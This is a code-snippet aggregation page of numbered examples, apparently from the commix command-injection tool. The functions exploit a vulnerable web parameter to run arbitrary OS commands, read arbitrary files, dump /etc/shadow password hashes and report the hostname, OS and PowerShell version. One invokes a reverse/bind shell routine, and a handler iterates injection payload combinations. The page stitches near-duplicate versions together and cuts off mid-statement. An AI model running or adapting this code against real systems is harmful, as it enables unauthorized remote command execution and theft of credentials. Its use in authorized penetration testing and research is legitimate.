    shell = "".join(str(p) for p in shell)
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL 
    sys.exit(0)
Ejemplo n.º 19
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
  cmd = settings.HOSTNAME
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  shell = cb_injector.injection_results(response, TAG)
  if shell:
    if menu.options.verbose:
      print ""
    shell = "".join(str(p) for p in shell)
    if not menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
Ejemplo n.º 20
0
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS 
  if alter_shell:
    cmd = "cmd /c " + cmd 
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = cb_injector.injection_results(response, TAG)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = cb_injector.injection_results(response, TAG)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
      sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os)
      output_file.write(" and the hardware platform is " + target_arch + ".\n")
    output_file.close()
Ejemplo n.º 21
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
  file_to_read = menu.options.file_read
  # Execute command
  cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  shell = cb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell)
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
    sys.stdout.flush()
    print shell
  else:
   sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + Style.RESET_ALL)
   sys.stdout.flush()
Ejemplo n.º 22
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = cb_injector.injection_results(response, TAG)
  if shell:
    if menu.options.verbose:
      print ""
    shell = "".join(str(p) for p in shell)
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    output_file.write("    (!) The hostname is " + shell + ".\n")
    output_file.close()
Ejemplo n.º 23
0
def single_os_cmd_exec(
    separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename
):
    cmd = menu.options.os_cmd
    response = cb_injector.injection(
        separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename
    )
    shell = cb_injector.injection_results(response, TAG)
    if shell:
        if menu.options.verbose:
            print ""
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        if shell != "":
            print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
        else:
            print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
        sys.exit(0)
Ejemplo n.º 24
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if menu.options.verbose:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL 
    sys.exit(0)
Ejemplo n.º 25
0
def powershell_version(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, timesec):
    cmd = settings.PS_VERSION
    if alter_shell:
        cmd = cmd.replace("'", "\\'")
    # Evaluate injection results.
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        ps_version = cb_injector.injection_results(response, TAG, cmd)
        ps_version = "".join(str(p) for p in ps_version)
        session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
    else:
        ps_version = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    try:
        if float(ps_version):
            settings.PS_ENABLED = True
            # Output PowerShell's version number
            success_msg = "The PowerShell's version number is "
            success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
            sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The PowerShell's version number is " + ps_version + ".\n"
            output_file.write(
                re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                    "", settings.SUCCESS_SIGN) + success_msg)
            output_file.close()
    except ValueError:
        warn_msg = "Heuristics have failed to identify the version of Powershell, "
        warn_msg += "which means that some payloads or injection techniques may be failed."
        print settings.print_warning_msg(warn_msg)
        settings.PS_ENABLED = False
        checks.ps_check_failed()
Ejemplo n.º 26
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = cb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read the '"+ file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
Ejemplo n.º 27
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    sys.exit(0)
Ejemplo n.º 28
0
def powershell_version(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename):
    cmd = settings.PS_VERSION
    if alter_shell:
        cmd = cmd.replace("'", "\\'")
    else:
        cmd = "\"" + cmd + "\""
    #Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    # Evaluate injection results.
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        ps_version = cb_injector.injection_results(response, TAG, cmd)
        ps_version = "".join(str(p) for p in ps_version)
        session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
    else:
        ps_version = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    try:
        if float(ps_version):
            settings.PS_ENABLED = True
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
            # Output PowerShell's version number
            success_msg = "The PowerShell's version number is " + Style.UNDERLINE
            success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
            sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            success_msg = "The PowerShell's version number is " + ps_version + ".\n"
            output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
            output_file.close()
    except ValueError:
        warn_msg = "Heuristics have failed to identify PowerShell's version, "
        warn_msg += "which means that some payloads or injection techniques may be failed."
        print settings.print_warning_msg(warn_msg)
        settings.PS_ENABLED = False
        checks.ps_check_failed()
Ejemplo n.º 29
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method,
              url, vuln_parameter, alter_shell, filename, timesec):
    file_to_read = menu.options.file_read
    # Execute command
    if settings.TARGET_OS == "win":
        cmd = settings.WIN_FILE_READ + file_to_read
    else:
        cmd = settings.FILE_READ + file_to_read
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
        print(settings.SINGLE_WHITESPACE)
    if shell:
        info_msg = "The contents of file '"
        info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
        sys.stdout.write(settings.print_bold_info_msg(info_msg))
        print(shell)
        output_file = open(filename, "a")
        info_msg = "The contents of file '"
        info_msg += file_to_read + "' : " + shell + ".\n"
        output_file.write(
            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                "", settings.INFO_BOLD_SIGN) + info_msg)
        output_file.close()
    else:
        warn_msg = "It seems that you don't have permissions "
        warn_msg += "to read the '" + file_to_read + "' file."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
        sys.stdout.flush()
Ejemplo n.º 30
0
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option):
  if settings.EVAL_BASED_STATE != False:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)

  else:
    whitespace = settings.WHITESPACE[0]
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)

  if settings.VERBOSITY_LEVEL >= 1:
    print ""

  err_msg = "The " + os_shell_option.split("_")[0] + " "
  err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!"
  print settings.print_critical_msg(err_msg)
Ejemplo n.º 31
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method,
             url, vuln_parameter, alter_shell, filename):
    cmd = settings.HOSTNAME
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG)
    if shell:
        if menu.options.verbose:
            print ""
        shell = "".join(str(p) for p in shell)
        if not menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) The hostname is " +
                         Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        output_file.write("    (!) The hostname is " + shell + ".\n")
        output_file.close()
Ejemplo n.º 32
0
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  cmd = settings.SYS_PASSES            
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  sys_passes = cb_injector.injection_results(response, TAG)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace(" ", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        try:
          fields = line.split(":")
          if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
            print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
            # Add infos to logs file.   
            output_file = open(filename, "a")
            output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
            output_file.close()
        # Check for appropriate '/etc/shadow' format.
        except IndexError:
          if count == 1 :
            sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
          print fields[0]
          output_file = open(filename, "a")
          output_file.write("      " + fields[0])
          output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
Ejemplo n.º 33
0
def powershell_version(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename):
    cmd = settings.PS_VERSION
    if alter_shell:
        cmd = cmd.replace("'", "\\'")
    else:
        cmd = "\"" + cmd + "\""
    #Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    # Evaluate injection results.
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        ps_version = cb_injector.injection_results(response, TAG)
        ps_version = "".join(str(p) for p in ps_version)
        session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
    else:
        ps_version = session_handler.export_stored_cmd(url, cmd,
                                                       vuln_parameter)
    try:
        if float(ps_version):
            settings.PS_ENABLED = True
            if menu.options.verbose:
                print ""
            # Output PowerShell's version number
            sys.stdout.write(Style.BRIGHT +
                             "(!) The PowerShell's version number is " +
                             Style.UNDERLINE + ps_version + Style.RESET_ALL +
                             Style.BRIGHT + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The PowerShell's version number is " +
                              ps_version + ".\n")
            output_file.close()
    except ValueError:
        print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
        settings.PS_ENABLED = False
        checks.ps_check_failed()
Ejemplo n.º 34
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method,
             url, vuln_parameter, alter_shell, filename, timesec):
    if settings.TARGET_OS == "win":
        settings.HOSTNAME = settings.WIN_HOSTNAME
    cmd = settings.HOSTNAME
    if session_handler.export_stored_cmd(
            url, cmd, vuln_parameter) == None or menu.options.ignore_session:
        # Command execution results.
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        # if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
        #   print ""
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, timesec)
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
            print ""
        shell = "".join(str(p) for p in shell)
        success_msg = "The hostname is " + shell
        sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        success_msg = "The hostname is " + shell + ".\n"
        output_file.write(
            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                "", settings.SUCCESS_SIGN) + success_msg)
        output_file.close()
    else:
        warn_msg = "Heuristics have failed to identify the hostname."
        print settings.print_warning_msg(warn_msg)
Ejemplo n.º 35
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  
  cmd =  menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
      logs.print_logs_notification(filename, url)
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    raise SystemExit()
Ejemplo n.º 36
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  
  cmd =  menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if shell != "":
      print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
      logs.print_logs_notification(filename, url)
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print(settings.print_critical_msg(err_msg)) 
    raise SystemExit()
Ejemplo n.º 37
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method,
              url, vuln_parameter, alter_shell, filename):
    file_to_read = menu.options.file_read
    # Execute command
    if settings.TARGET_OS == "win":
        cmd = settings.WIN_FILE_READ + file_to_read
    else:
        cmd = settings.FILE_READ + file_to_read
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if settings.VERBOSITY_LEVEL >= 1:
        print ""
    if shell:
        success_msg = "The contents of file '"
        success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
        sys.stdout.write(settings.print_success_msg(success_msg))
        print shell
        output_file = open(filename, "a")
        success_msg = "The contents of file '"
        success_msg += file_to_read + "' : " + shell + ".\n"
        output_file.write("    " +
                          re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).
                          sub("", settings.SUCCESS_SIGN) + success_msg)
        output_file.close()
    else:
        warn_msg = "It seems that you don't have permissions "
        warn_msg += "to read the '" + file_to_read + "' file."
        sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
        sys.stdout.flush()
Ejemplo n.º 38
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
Ejemplo n.º 39
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
Ejemplo n.º 40
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method,
              url, vuln_parameter, alter_shell, filename):
    file_to_read = menu.options.file_read
    # Execute command
    if settings.TARGET_OS == "win":
        cmd = settings.WIN_FILE_READ + file_to_read
    else:
        cmd = settings.FILE_READ + file_to_read
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG)
        shell = "".join(str(p) for p in shell)
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" +
                         Style.UNDERLINE + file_to_read + Style.RESET_ALL +
                         "' : ")
        sys.stdout.flush()
        print shell
        output_file = open(filename, "a")
        output_file.write("    (!) The contents of file '" + file_to_read +
                          "' : " + shell + ".\n")
        output_file.close()
    else:
        sys.stdout.write(
            Fore.YELLOW + settings.WARNING_SIGN +
            "It seems that you don't have permissions to read the '" +
            file_to_read + "' file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
Ejemplo n.º 41
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
Ejemplo n.º 42
0
def cb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False

    injection_type = "Results-based Command Injection"
    technique = "classic injection technique"

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    i = i + 1

                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for i in range(6))

                    randv1 = random.randrange(100)
                    randv2 = random.randrange(100)
                    randvcalc = randv1 + randv2

                    # Define alter shell
                    alter_shell = menu.options.alter_shell

                    try:
                        if alter_shell:
                            # Classic -alter shell- decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision_alter_shell(
                                separator, TAG, randv1, randv2)
                        else:
                            # Classic decision payload (check if host is vulnerable).
                            payload = cb_payloads.decision(
                                separator, TAG, randv1, randv2)

                        # Define prefixes & suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        if menu.options.base64:
                            payload = urllib.unquote(payload)
                            payload = base64.b64encode(payload)
                        else:
                            if separator == " ":
                                payload = re.sub(" ", "%20", payload)
                            else:
                                payload = re.sub(" ", whitespace, payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            sys.stdout.write("\n" + Fore.GREY +
